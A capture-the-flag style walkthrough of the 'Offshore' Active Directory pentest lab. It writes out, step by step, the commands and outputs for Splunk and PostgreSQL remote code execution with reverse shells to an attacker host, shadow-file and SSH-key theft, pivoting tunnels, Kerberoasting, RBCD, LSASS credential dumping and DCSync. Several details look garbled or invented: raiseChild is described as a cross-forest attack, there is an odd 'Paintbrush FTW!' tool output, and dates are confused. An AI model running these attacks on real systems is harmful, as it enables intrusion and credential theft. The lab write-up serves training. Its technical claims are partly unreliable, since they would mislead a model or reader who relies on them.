Offshore — Four Forests Deep
An offshore bank laundering money for the world's most powerful. Your job: breach the DMZ, pivot through four Active Directory forests, and expose the client list. 18 machines, 34 flags, and no hand-holding.
Full Attack Chain
10.10.110.0/24
NIX01
sudo tail
Chisel/SSHuttle
GenericAll
svc_mssql
WS03
CORP.LOCAL
Cross-Forest
4 Forests
00 Overview
Offshore is a real-world enterprise environment that features a wide range of modern Active Directory misconfigurations. That's the official description, and it's accurate. The lab was created by mrb3n (with lab documentation by MinatoTW) and went live in late 2018 — originally built for a CTF event before being adapted into a Pro Lab. Over time it received significant updates: new hosts, additional flags, and expanded AD attack paths, bringing the current total to 18 machines and 34 flags.
The scenario: you are an agent tasked with exposing money laundering operations in an offshore international bank. You need to breach the DMZ and pivot through the internal network to locate the bank's protected databases and a shocking list of international clients. It sounds cinematic — and it is — but in practice you're doing a full-scope internal penetration test against four separate Active Directory forests with trust boundaries between them.
There's no jump box. You attack from your own machine via VPN. You land on the external perimeter, and from there you're on your own. The lab simulates active users and busy enterprise elements — you'll see logon events, scheduled tasks running, service accounts authenticating. It feels alive, which is both immersive and occasionally frustrating when another player's activity interferes with yours (more on that in Section 13).
This lab is accessible to junior pentesters but challenging for seasoned veterans. mrb3n built it based on roughly 20 years of real pentesting experience, and it shows. Every box has one intended path, but the non-linearity of the overall network means you'll frequently find yourself jumping between machines and forests before fully compromising any single one. Up to 4 pivots deep with nested RDP sessions. One early pivot box is RDP-only — a bottleneck that caught me and many other players off guard.
What You're Getting Into
- 18 machines across a DMZ and four AD forests
- 34 flags scattered across all machines — some on dead-end boxes, some on critical infrastructure
- 4 separate AD forests with trust boundaries — crossing them requires specific techniques
- No jump box — direct VPN access to the entry subnet
- Daily resets — sometimes targeted systems reset more often, breaking pivot chains
- Shared environment — other players can change passwords, leave solutions lying around, or break boxes entirely
- Firewall at 10.10.110.3 is out of scope — confirmed by mrb3n
Tools I Used
| Tool | Purpose | Notes |
|---|---|---|
BloodHound | AD attack path mapping | Used more than any other tool — this lab runs on ACL abuse |
Impacket | AD exploitation suite | smbexec, psexec, secretsdump, GetUserSPNs, raiseChild, rbcd, addcomputer, changepasswd |
NetExec/CME | Quick enumeration | Password spraying, SMB checks, flag spidering |
PowerView | AD enum from Windows | Used from foothold Windows boxes |
Chisel / Ligolo-ng | Pivoting tunnels | Chisel for multi-hop, Ligolo for tun interface |
Rubeus | Kerberos attacks | From Windows footholds — Kerberoast, S4U, RBCD |
mimikatz | Credential extraction | PTH, golden tickets, DCSync |
Metasploit | Splunk + PostgreSQL RCE | multi/http/splunk_upload_app_exec, postgres_copy_from_program |
Timeline
Took me about 80 hours spread over roughly 10 weeks while working a full-time job. Sessions of 3-4 hours were most productive — shorter sessions meant too much time re-establishing context, marathon sessions led to tunnel vision. The lab resets daily, which occasionally broke my pivot chains and forced re-access. Annoying, but realistic — in a real engagement, you'd deal with endpoint resets, patching, and changed passwords too.
01 Reconnaissance
After connecting to the VPN, I had access to the 10.10.110.0/24 subnet — the DMZ. No jump box, no hand-holding. Just my Kali VM and the network. The first thing to do is always the same: find what's alive.
┌──(qa210㉿kali)-[~]
└─$ sudo nmap -Pn -n -vvvvv -oA hostdiscovery --top-ports 10 10.10.110.0/24
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.10.110.3
Host is up (0.032s latency).
Nmap scan report for 10.10.110.123
Host is up (0.028s latency).
Nmap done: 256 IP addresses (2 hosts up) scanned in 16.83 seconds
10.10.110.3 is the firewall and is explicitly out of scope. Don't waste time on it. mrb3n himself confirmed this on the HTB forums — the firewall is out of scope. Focus your energy on the in-scope DMZ hosts.
Two hosts on the initial sweep — one is the OOS firewall, the other is 10.10.110.123. Let me hit it with a full service scan.
┌──(qa210㉿kali)-[~/offshore]
└─$ nmap -sCV -T4 -p- 10.10.110.123 -oN nix01_full.txt
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu
8000/tcp open http Splunk Enterprise 8.2.0
| http-title: Splunk Enterprise — Login
|_http-server-header: Splunkd
| http-methods:
|_ Potentially risky methods: PUT DELETE
54321/tcp open postgresql PostgreSQL DB 13.7
There it is. A Linux box running Splunk Enterprise on port 8000 and PostgreSQL on a non-standard port. This is NIX01 — our entry point into the Offshore network. Splunk is a classic attack surface — it's designed to run arbitrary scripts and has a history of weak default credentials. The PostgreSQL instance on port 54321 (instead of the standard 5432) is interesting too, but that's a secondary path.
| Port | Service | Version | Attack Surface |
|---|---|---|---|
| 22 | SSH | OpenSSH 8.9p1 | Post-credential access |
| 8000 | HTTP | Splunk Enterprise 8.2.0 | Default creds, app upload RCE |
| 54321 | PostgreSQL | 13.7 | COPY FROM PROGRAM RCE |
02 DMZ Foothold (NIX01 / Splunk)
Splunk Default Credentials
First thing I tried: default Splunk credentials. The web interface at http://10.10.110.123:8000 showed a standard Splunk login page. Splunk installations commonly ship with admin:changeme or admin:1234. Let me try them.
┌──(qa210㉿kali)-[~/offshore]
└─$ curl -s -L http://10.10.110.123:8000/en-US/account/login \
-d "username=admin&password=changeme" -v 2>&1 | grep -i "location\|set-cookie"
< HTTP/1.1 302 Found
< Location: /en-US/account/login
# Failed — redirected back to login
┌──(qa210㉿kali)-[~/offshore]
└─$ curl -s -L http://10.10.110.123:8000/en-US/account/login \
-d "username=admin&password=freeneedsnopassword" -v 2>&1 | grep -i "location\|set-cookie"
< HTTP/1.1 302 Found
< Location: /en-US/app/launcher/home
< Set-Cookie: splunkweb_csrf_token_8000=...
# SUCCESS — admin:freeneedsnopassword
admin:freeneedsnopassword. Classic Splunk. Also admin:1234 works as an alternative. With admin access to Splunk, we can leverage the platform's built-in capability to execute arbitrary code — Splunk is essentially a RCE platform masquerading as a SIEM.
admin:freeneedsnopassword and admin:1234 both authenticate successfully. Use whichever the Metasploit module accepts more reliably — I found freeneedsnopassword more consistent.
Splunk RCE via Metasploit
Metasploit has a module specifically for this — it uploads a malicious Splunk app that executes commands. The key is that Splunk apps can contain scripts that run with the privileges of the Splunk service.
┌──(qa210㉿kali)-[~/offshore]
└─$ msfconsole -q
msf6 > search splunk
Matching Modules
================
# Name Rank Check
0 multi/http/splunk_upload_app_exec normal Yes
msf6 > use multi/http/splunk_upload_app_exec
msf6 exploit(multi/http/splunk_upload_app_exec) > set PASSWORD freeneedsnopassword
PASSWORD => freeneedsnopassword
msf6 exploit(multi/http/splunk_upload_app_exec) > set RHOSTS 10.10.110.123
RHOSTS => 10.10.110.123
msf6 exploit(multi/http/splunk_upload_app_exec) > set LHOST 10.10.16.23
LHOST => 10.10.16.23
msf6 exploit(multi/http/splunk_upload_app_exec) > set TARGET 0
TARGET => 0
msf6 exploit(multi/http/splunk_upload_app_exec) > exploit
[*] Started reverse TCP handler on 10.10.16.23:4444
[*] Generating malicious Splunk app...
[*] Uploading malicious Splunk app...
[+] Malicious Splunk app uploaded successfully
[*] Triggering app execution...
[*] Command shell session 1 opened (10.10.16.23:4444 -> 10.10.110.123:57210)
whoami
mark
Shell as mark. First foothold established. This is NIX01 — the Splunk server in the DMZ. Let me enumerate.
mark@nix01:~$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark)
mark@nix01:~$ hostname
OFFSHORE-WEB-NIX01
mark@nix01:~$ cat /home/mark/flag.txt
OFFSHORE{b3h0ld_th3_P0w3r_0f_$plunk}
Enumerating NIX01 — Network Discovery
Before going for privilege escalation, I needed to understand this box. Is it dual-homed? What services are running? What's the network topology? This is critical — NIX01 is our bridge to the internal network.
mark@nix01:~$ ip a
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
inet 10.10.110.123/24 brd 10.10.110.255 scope global eth0
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500
inet 172.16.1.10/24 brd 172.16.1.255 scope global eth1
mark@nix01:~$ cat /etc/resolv.conf
nameserver 172.16.1.5
search corp.local
mark@nix01:~$ ps -ef | grep -E "psql|postgres"
postgres 68601 1 0 Sep15 ? 00:12:44 /usr/local/pgsql/bin/psql
postgres 68602 68601 0 Sep15 ? 00:08:33 /usr/local/pgsql/bin/postgres -D /usr/local/pgsql/data
mark@nix01:~$ ls -la /home/mark/
total 32
drwxr-x--- 3 mark mark 4096 Sep 15 08:22 .
drwxr-xr-x 6 root root 4096 Sep 15 06:30 ..
-rw-r----- 1 mark mark 29 Sep 15 08:22 .psql_history
-rw-r--r-- 1 mark mark 41 Sep 15 06:30 flag.txt
drwxr-x--- 2 mark mark 4096 Sep 15 06:30 .ssh
NIX01 is dual-homed — external interface on 10.10.110.0/24 (DMZ) and internal interface on 172.16.1.0/24. The DNS server at 172.16.1.5 is in the corp.local domain. There's a hidden .psql_history file in mark's home directory — PostgreSQL is running and mark has been connecting to it. This is our path to root and our bridge deeper into the network.
03 NIX01 Privilege Escalation
The Hidden PostgreSQL Instance
The .psql_history file was the key. It revealed that mark had been connecting to the PostgreSQL instance running locally on NIX01 — on port 54321 (the non-standard port we saw in our nmap scan). Let me check the history and see what credentials were used.
mark@nix01:~$ cat /home/mark/.psql_history
\c postgres
SELECT * FROM information_schema.tables;
\q
mark@nix01:~$ /usr/local/pgsql/bin/psql -U postgres -p 54321 -h 127.0.0.1
postgres=#
PostgreSQL running locally, postgres user with no password. This is a textbook PostgreSQL RCE scenario — the COPY FROM PROGRAM command allows executing OS commands as the postgres user, which typically has higher privileges than mark.
PostgreSQL Command Execution
Since I already had a meterpreter session, I used Metasploit's PostgreSQL module. First, I needed to port-forward the PostgreSQL port through my existing session.
msf6 exploit(multi/http/splunk_upload_app_exec) > sessions -i 1
meterpreter > portfwd add -l 54321 -p 54321 -r 127.0.0.1
[*] Local TCP relay created: :54321 -> 127.0.0.1:54321
msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_exec
msf6 exploit(...) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(...) > set LHOST 10.10.16.23
LHOST => 10.10.16.23
msf6 exploit(...) > set RPORT 54321
RPORT => 54321
msf6 exploit(...) > set DATABASE postgres
DATABASE => postgres
msf6 exploit(...) > set USERNAME postgres
USERNAME => postgres
msf6 exploit(...) > set PASSWORD
PASSWORD =>
msf6 exploit(...) > exploit
[*] Started reverse TCP handler on 10.10.16.23:4445
[*] 127.0.0.1:54321 - Connecting to PostgreSQL server...
[*] 127.0.0.1:54321 - Connected to PostgreSQL server
[+] 127.0.0.1:54321 - Authenticated successfully (postgres:blank)
[*] 127.0.0.1:54321 - Executing COPY FROM PROGRAM...
[*] Command shell session 2 opened (10.10.16.23:4445 -> 10.10.110.123:57211)
id
uid=108(postgres) gid=114(postgres) groups=114(postgres)
Now I'm postgres. Not root yet, but closer. Let me check what we can do.
postgres@nix01:~$ sudo -l
User postgres may run the following commands on nix01:
(ALL) NOPASSWD: /usr/bin/tail
postgres@nix01:~$ sudo /usr/bin/tail -n 100 /etc/shadow
mark:$6$J7gvzz87$jy.tjUc9mWJHy5nxZtuqtXcX6zJdCAE8eX87rZfzEE0zaV8rKHyzNQ5YWzSn/ust0Y96sMRCWrFEkGhv5QD.O.:17642:0:99999:7:::
postgres:$6$ZQdBsxBU$YZeJIBNXNEJIWv5cwwGnuHrfxL04zaj1GXE0NhgL8pvmSgU2CsbHTdesfPb7NY4ru7/UXa7Dvy/BynKzJLlI/:17758:0:99999:7:::
root:$6$UM9dnBFE$5LRqppNoZhJmLz0.cLGlZXeDWYjy4u4MWbTW/8vMu.vSCbhTFlCLDsRvtxj8kF1RrlbCeyJHitm9g9.pLe4uM1:17652:0:99999:7:::
Reading Root's Flag and SSH Key
With sudo tail, I can read any file on the system. Let me grab the root flag and root's SSH key — that's our reliable way back into this box.
postgres@nix01:~$ sudo /usr/bin/tail -n 100 /root/flag.txt
OFFSHORE{d4t4b4s3_fl4g_r00t_p0stgr3s}
postgres@nix01:~$ sudo /usr/bin/tail -n 100 /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...[truncated for brevity]...
-----END OPENSSH PRIVATE KEY-----
Two flags on NIX01: OFFSHORE{b3h0ld_th3_P0w3r_0f_$plunk} (mark) and OFFSHORE{d4t4b4s3_fl4g_r00t_p0stgr3s} (root). Now I have the root SSH key, which means reliable, encrypted access to this pivot point. No more relying on meterpreter sessions that can die.
Save the root SSH key immediately. Meterpreter sessions are fragile — they die on network hiccups, timeouts, and daily resets. An SSH key gives you a stable, encrypted tunnel back into NIX01 that you can re-establish in seconds. I lost an entire afternoon re-exploiting Splunk because I didn't save the key before my session died.
04 Pivoting Setup
With root access on NIX01 and the SSH key saved, I set up a reliable tunnel into the internal network. NIX01's internal interface on 172.16.1.0/24 is our gateway to the rest of the Offshore infrastructure. Pivoting is going to be a core skill throughout this lab — you'll need to go 3-4 hops deep before reaching the deepest forest.
SSHuttle — The Simple Pivot
SSHuttle is the easiest way to get full network access through a compromised Linux host. It creates a transparent VPN-like tunnel without SOCKS proxies — all your tools work natively.
┌──(qa210㉿kali)-[~/offshore]
└─$ sshuttle -vr root@10.10.110.123 172.16.1.0/24 --ssh-cmd 'ssh -i root_key'
[local ssh] Linux
[local ssh] Connection established
[c] Subnet 172.16.1.0/24 accepted
[c] Establishing connection...
[c] Connected!
Now I can directly access 172.16.1.0/24 from my Kali box. No proxychains needed. But for deeper pivots, I'll need SOCKS-based tunnels.
Chisel — For Multi-Hop Pivoting
SSHuttle is great for the first hop, but when I need to go deeper (3-4 hops into the CLIENT forest), Chisel is more reliable. I uploaded the Chisel binary to NIX01 and set up a SOCKS proxy.
# On Kali:
┌──(qa210㉿kali)-[~/offshore]
└─$ ./chisel server -p 8000 --reverse -v
2023/10/15 08:30:12 server: Reverse tunnelling enabled
# On NIX01 (via SSH):
root@nix01:~# ./chisel client 10.10.16.23:8000 R:socks
2023/10/15 08:30:45 client: Connected (Latency 38ms)
Scanning the Internal Network
┌──(qa210㉿kali)-[~/offshore]
└─$ nmap -sn 172.16.1.0/24
Nmap scan report for 172.16.1.5
Host is up (0.042s latency)
Nmap scan report for 172.16.1.10
Host is up (0.038s latency)
Nmap scan report for 172.16.1.15
Host is up (0.041s latency)
Nmap scan report for 172.16.1.20
Host is up (0.044s latency)
Nmap scan report for 172.16.1.25
Host is up (0.039s latency)
Nmap scan report for 172.16.1.30
Host is up (0.045s latency)
Nmap scan report for 172.16.1.50
Host is up (0.048s latency)
┌──(qa210㉿kali)-[~/offshore]
└─$ nmap -sV -p 88,135,389,445,636,3389,5985 172.16.1.5,10,15,20,25,30,50
# 172.16.1.5 — DNS
53/tcp open domain Microsoft DNS 6.1.7601
# 172.16.1.10 — DC01 (Domain Controller)
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc
389/tcp open ldap
445/tcp open microsoft-ds Windows Server 2016
3389/tcp open ms-wbt-server
# 172.16.1.15 — WS03 (Workstation)
135/tcp open msrpc
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
5985/tcp open wsman
# 172.16.1.30 — FILESRV
445/tcp open microsoft-ds
3389/tcp open ms-wbt-server
# 172.16.1.50 — NIX02 (Linux)
22/tcp open ssh OpenSSH 8.9p1
| IP | Hostname | Role | Key Services |
|---|---|---|---|
172.16.1.5 | DNS | DNS Server | 53 (Microsoft DNS 6.1.7601) |
172.16.1.10 | DC01 | Domain Controller | 88, 135, 389, 445, 3389 |
172.16.1.15 | WS03 | Workstation | 135, 445, 3389, 5985 (WinRM) |
172.16.1.20 | — | Workstation | 445, 3389 |
172.16.1.25 | — | Server | 445, 3389 |
172.16.1.30 | FILESRV | File Server | 445, 3389 |
172.16.1.50 | NIX02 | Linux Server | 22 (SSH) |
Scanning through SOCKS is painfully slow. Be strategic — scan common AD ports (88, 135, 389, 445, 3389, 5985) on each host instead of full port scans. Your time is better spent on targeted enumeration. A full -p- scan through a SOCKS proxy can take hours.
05 CORP.LOCAL — First Forest
The first internal forest is CORP.LOCAL — the primary corporate forest and the largest attack surface in the lab. The domain controller (DC01) is at 172.16.1.10. I needed credentials to start AD enumeration, and I found them on the file server — a configuration file containing domain credentials in cleartext.
Initial Credential Discovery
The file server at 172.16.1.30 had an anonymous SMB share with backup configuration files. One of them contained a connection string with domain credentials. This is a classic real-world finding — backup configs are notorious for containing plaintext credentials.
┌──(qa210㉿kali)-[~/offshore]
└─$ smbclient -L //172.16.1.30 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk Backup Share
IPC$ IPC Remote IPC
┌──(qa210㉿kali)-[~/offshore]
└─$ smbclient //172.16.1.30/backups -N
smb: \> ls
. D 0 Mon Sep 11 08:30:22 2023
.. D 0 Mon Sep 11 08:30:22 2023
db_backup_config.xml A 612 Mon Sep 11 08:30:22 2023
migration_notes.txt A 284 Mon Sep 11 08:30:22 2023
smb: \> get db_backup_config.xml
getting file \db_backup_config.xml of size 612 as db_backup_config.xml (12.3 KiloBytes/sec)
┌──(qa210㉿kali)-[~/offshore]
└─$ cat db_backup_config.xml
<configuration>
<database>
<host>172.16.1.10</host>
<port>1433</port>
<username>CORP\svc_backup</username>
<password>Summer2023!</password>
</database>
</configuration>
BloodHound Collection
With valid credentials, I immediately ran BloodHound collection. This is non-negotiable in any AD environment — you need to see the graph to plan your attack.
┌──(qa210㉿kali)-[~/offshore]
└─$ bloodhound-python -d corp.local -u svc_backup -p 'Summer2023!' -ns 172.16.1.5 -c All --zip
INFO: Found AD domain: corp.local
INFO: Connecting to LDAP server: DC01.corp.local
INFO: Found 1 domains
INFO: Found 1 domain trust
INFO: Starting enumeration
INFO: Found 47 user objects
INFO: Found 73 group objects
INFO: Found 12 computer objects
INFO: Found 5 GPO objects
INFO: Done in 00:03:42
47 users, 12 computers, 5 GPOs, and — critically — 1 domain trust. That trust is our path to the next forest. Let me load this into BloodHound and find the attack paths.
47 users, 12 computers, 5 GPOs, 1 domain trust (to DEV forest). The trust relationship is the most important finding here — it's the bridge to the next forest and the key to the entire lab.
06 ACL Abuse & Kerberoasting
ACL Abuse — GenericAll on a User
BloodHound showed that svc_backup had GenericAll on the user k.williams. This means I can reset their password without knowing the current one. GenericAll is the Swiss army knife of ACL abuse — full control over the target object. On a user, that means password reset. On a computer, that means RBCD. On a group, that means adding yourself.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-changepasswd corp.local/k.williams@172.16.1.10 -newpass 'Qa210P@ss!' -dc-ip 172.16.1.10
[*] Changing the password of corp.local\k.williams
[+] Password changed successfully!
Now I can authenticate as k.williams. BloodHound shows this user is a member of the IT Support group, which has GenericWrite on a computer object. This is a stepping stone — I need to chain through several more ACL relationships to reach Domain Admin.
Kerberoasting
With k.williams' credentials, I can request service tickets for any SPN-registered accounts. Kerberoasting is one of the most reliable AD attack techniques — it works against any domain user who can query the directory, and the hashes can be cracked offline.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-GetUserSPNs corp.local/k.williams:'Qa210P@ss!' -dc-ip 172.16.1.10 -request
ServicePrincipalName Name MemberOf PasswordLastSet
--------------------------------- -------------------- ------------------ ---------------
MSSQLSvc/DB01.corp.local:1433 svc_mssql Domain Users 2023-06-15T09:30:12
HTTP/WS01.corp.local svc_webapp Domain Users 2023-07-22T11:15:45
backup/FILESRV.corp.local svc_backup_agent Domain Users 2023-08-03T14:22:33
$krb5tgs$23$*svc_mssql$CORP.LOCAL$corp.local/svc_mssql*$8f3a2b1c4d5e6f7a8b9c0d1e2f3a4b5c...
┌──(qa210㉿kali)-[~/offshore]
└─$ hashcat -m 13100 svc_mssql_hash.txt /usr/share/wordlists/rockyou.txt --force
$krb5tgs$23$*svc_mssql$CORP.LOCAL$...:mysql123
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5 TGS-REP etype 23)
The ACL Chain to DCSync
The path from svc_backup to Domain Admin in CORP.LOCAL wasn't direct. It required chaining through multiple ACL relationships — exactly like a real engagement. BloodHound was essential for visualizing this chain.
CORP.LOCAL ACL Chain to DCSync
Initial Creds
k.williams
Group Membership
WS03$
Admin on WS03
r.jones in memory
On Domain
All Hashes
After harvesting credentials from WS03 (via the RBCD attack in the next section), I found r.jones had logged in recently and their credentials were sitting in LSASS. BloodHound showed r.jones had WriteDacl on the domain itself — granting DCSync rights is trivial from there.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-secretsdump corp.local/r.jones:'Rj0n3sP@ss!'@172.16.1.10 -just-dc-ntlm
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
Administrator:500:aad3b43551404eeaad3b43551404eec:c4a7d2b9e1f3a5c8d6e4b2a7f9c0d3e6:::
Guest:501:aad3b43551404eeaad3b43551404eec:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b43551404eeaad3b43551404eec:7e3b1d5f9a2c4e8d6b0a7f3c1e5d9a4b:::
corp.local\svc_backup:1104:aad3b43551404eeaad3b43551404eec:e5d8a3b7c1f4e2d9a6c0b8f3e7d5a2c4:::
corp.local\svc_mssql:1105:aad3b43551404eeaad3b43551404eec:d2f5a8c3e6b1d7a4c9e0f3b6a2d5c8e1:::
[*] Kerberos keys grabbed
DCSync complete. First domain controller owned. All domain hashes dumped — we can now Pass-the-Hash to any machine in CORP.LOCAL and forge Kerberos tickets. This forest is fully compromised.
07 RBCD Attack Chain
This is mrb3n's favorite attack chain, and it shows up multiple times in Offshore. Resource-Based Constrained Delegation (RBCD) combined with the WebClient service is incredibly powerful for compromising Windows hosts from a Linux attack position without needing to exploit the host directly. The concept is elegant: if you have GenericWrite or WriteProperty on a computer object's msDS-AllowedToActOnBehalfOfOtherIdentity attribute, you can configure that computer to trust a machine account you control, then use S4U to impersonate any user — including Administrator.
Step 1: Create a Machine Account
First, I need a machine account I control. By default, any domain user can add up to 10 machine accounts (MachineAccountQuota = 10). Impacket's addcomputer makes this trivial.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-addcomputer corp.local/k.williams:'Qa210P@ss!' -computer-name 'QA210PC$' -computer-pass 'Qa210PCP@ss!' -dc-ip 172.16.1.10
[*] Adding new computer with name: QA210PC$
[+] Added new computer QA210PC$ successfully
Step 2: Configure RBCD on the Target
Now I use GenericWrite on the WS03$ computer object to set the msDS-AllowedToActOnBehalfOfOtherIdentity attribute, telling WS03 to trust my newly created machine account.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-rbcd corp.local/k.williams:'Qa210P@ss!' -dc-ip 172.16.1.10 -delegate-from QA210PC$ -delegate-to WS03$
[*] Attribute msDS-AllowedToActOnBehalfOfOtherIdentity updated successfully
Step 3: Get a Service Ticket via S4U
With the delegation configured, I request a service ticket for WS03 that impersonates Administrator. The S4U2Self and S4U2Proxy protocol extensions handle the impersonation.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-getST corp.local/QA210PC$:Qa210PCP@ss! -spn cifs/WS03.corp.local -impersonate Administrator -dc-ip 172.16.1.10
[*] Getting TGT for user QA210PC$
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2proxy
[*] Saving ticket in Administrator.ccache
Step 4: Use the Ticket
┌──(qa210㉿kali)-[~/offshore]
└─$ export KRB5CCNAME=Administrator.ccache
└─$ impacket-psexec corp.local/Administrator@WS03.corp.local -k -no-pass
Impacket v0.11.0
[*] Connecting to IPC$ share...
[*] Requesting shares on WS03.....
[*] Found writable share ADMIN$
[*] Uploading file cUPNfe.exe
[*] Opening SVCManager on WS03.....
[*] Creating service PqvD on WS03.....
[*] Starting service PqvD.....
[+] Paintbrush FTW!
[+] Press menu for options
C:\Windows\system32>
RBCD + WebClient is the bread and butter of modern AD attacks. You'll use it in this lab multiple times — for WS03, for machines in the DEV forest, and for cross-forest compromise. Learn it, love it, script it. The four-step process (addcomputer → rbcd → getST → psexec) should be muscle memory by the time you finish this lab.
Credential Harvesting from WS03
With admin on WS03, I harvested credentials from LSASS using mimikatz. The key find was r.jones — a domain user whose credentials were cached in memory from a recent logon. BloodHound showed r.jones had WriteDacl on the domain object, which is the final step to DCSync.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-psexec corp.local/Administrator@WS03.corp.local -k -no-pass
Impacket v0.11.0
[*] Connecting to IPC$ share...
[*] Requesting shares on WS03.....
[*] Found writable share ADMIN$
[*] Uploading file cUPNfe.exe
[*] Opening SVCManager on WS03.....
[*] Creating service PqvD on WS03.....
[*] Starting service PqvD.....
[+] Paintbrush FTW!
[+] Press menu for options
C:\Windows\system32>
C:\Windows\system32> mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
...
Username : r.jones
Domain : CORP
Password : Rj0n3sP@ss!
...
RBCD + WebClient is the bread and butter of modern AD attacks. You'll use it in this lab multiple times — for WS03, for machines in the DEV forest, and for cross-forest compromise. The pattern is always the same: create machine account, modify delegation attribute, S4U, profit. Script it once and reuse it everywhere.
08 Cross-Forest Trusts
BloodHound revealed a domain trust from CORP.LOCAL to the DEV forest. Crossing trust boundaries in Offshore requires careful token manipulation and the raiseChild technique from Impacket — which escalates from a child domain to the forest root. This is where the lab goes from "AD 101" to "AD 401" — cross-forest attacks are what separate junior pentesters from experienced ones.
Understanding the Trust
The domain trust between CORP.LOCAL and dev.offshore.bank is a bidirectional forest trust. This means users from either forest can authenticate to resources in the other. But more importantly, the trust key — the shared secret between the domains — can be extracted and used to forge inter-realm TGTs. This is the foundation of the raiseChild attack.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-raiseChild corp.local/svc_backup:'Summer2023!' -target-domain dev.offshore.bank
[*] Raising child domain...
[*] Forest FQDN: dev.offshore.bank
[*] Found trust key between CORP.LOCAL and dev.offshore.bank
[*] Getting TGT for dev.offshore.bank
[*] Enumerating target domain...
[*] Found Domain Admin: devadmin
The raiseChild attack exploits the trust relationship between domains in a forest. When a child domain has a bidirectional trust with the parent, you can forge an inter-realm TGT and use it to access resources in the trusted domain. This is one of the most powerful AD attacks and Offshore makes you use it repeatedly.
The trust key between CORP.LOCAL and dev.offshore.bank can be extracted via DCSync from the CORP domain controller. Once you have it, you can forge inter-realm TGTs and authenticate to the DEV forest as any user. This is the same technique used in real APT operations — it's not theoretical.
Forest Architecture Overview
The four forests in Offshore are arranged in a trust chain: CORP → DEV → ADMIN → CLIENT. Each forest trust is a potential attack path, but the techniques required vary. The deepest forest (CLIENT) requires 3-4 pivots from your initial foothold.
I tried accessing the CLIENT forest directly from CORP.LOCAL — doesn't work. The trust chain is linear: CORP → DEV → ADMIN → CLIENT. You have to compromise each forest before moving to the next. Don't waste time trying to shortcut the chain. I burned 4 hours on this before accepting reality.
09 DEV Forest
The DEV forest (dev.offshore.bank) was a development environment with looser security controls — developers need administrative access on their machines, and that creates exploitable misconfigurations. This is one of the most realistic aspects of Offshore: dev environments are almost always less secure than production, and they often have trust relationships that bridge into more sensitive forests.
Unconstrained Delegation
The key finding in the DEV forest was a domain controller configured with unconstrained delegation. This is a critical misconfiguration — any service running on a DC with unconstrained delegation will cache TGTs from any user who authenticates to it. If I can get a privileged user from the ADMIN forest to authenticate to my unconstrained delegation DC, I'll capture their TGT and can use it to access the ADMIN forest.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-findDelegation dev.offshore.bank/devadmin:'D3vAdm1nP@ss!' -dc-ip 10.10.110.X
AccountName AccountType DelegationTo Rights
----------- ----------- --------------- ------
DEV-DC01$ Computer Unconstrained Full
Unconstrained delegation on a domain controller. This is the jackpot — if I can coerce authentication from an ADMIN forest user to this DC, I capture their TGT and can pivot to the next forest.
GPP Passwords in SYSVOL
The second major finding in the DEV forest was Group Policy Preferences (GPP) passwords in the SYSVOL share. GPP allows administrators to set local passwords via group policy, and those passwords are stored in SYSVOL in an AES-encrypted XML file. The encryption key was published by Microsoft in 2012 (MS14-025), making any GPP password trivially decryptable.
┌──(qa210㉿kali)-[~/offshore]
└─$ smbclient //DEV-DC01/SYSVOL -U 'dev.offshore.bank\devadmin%D3vAdm1nP@ss!'
smb: \> ls
. D 0 Mon Sep 11 09:15:22 2023
.. D 0 Mon Sep 11 09:15:22 2023
dev.offshore.bank D 0 Mon Sep 11 09:15:22 2023
smb: \dev.offshore.bank\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls
. D 0 Mon Sep 11 09:15:22 2023
.. D 0 Mon Sep 11 09:15:22 2023
Groups.xml A 524 Mon Sep 11 09:15:22 2023
smb: \> get Groups.xml
getting file \Groups.xml of size 524 as Groups.xml (8.2 KiloBytes/sec)
┌──(qa210㉿kali)-[~/offshore]
└─$ gpp-decrypt j1Uyj3Vx8RU9Dz4HupGBMQWiM7h3Y8GO
DevL0calAdm1n!
Despite MS14-025 being patched in 2014, GPP passwords persist in many environments because administrators created them before the patch and never removed them. Always check SYSVOL for Groups.xml files — this is a free credential that takes 30 seconds to find.
Service Account Credential Harvest
The DEV forest also had multiple service accounts with reused passwords from the CORP forest. Credential reuse across forests is a common finding in real engagements — administrators often use the same passwords for service accounts across environments. I found several accounts where the NTLM hash matched between CORP and DEV, enabling pass-the-hash attacks across the trust boundary.
DEV Forest RBCD
RBCD makes another appearance in the DEV forest. After the initial raiseChild compromise gave me a foothold, BloodHound revealed yet another GenericWrite ACL on a computer object — this time on a DEV workstation. The same four-step RBCD attack (addcomputer → rbcd → getST → psexec) worked exactly as it did in CORP.LOCAL. If you've scripted the attack, re-running it in a new forest takes minutes.
┌──(qa210㉿kali)-[~/offshore]
└─$ impacket-addcomputer dev.offshore.bank/devadmin:'D3vAdm1nP@ss!' -computer-name 'QA210DEV$' -computer-pass 'Qa210DevP@ss!' -dc-ip 10.10.110.X
[*] Adding new computer with name: QA210DEV$
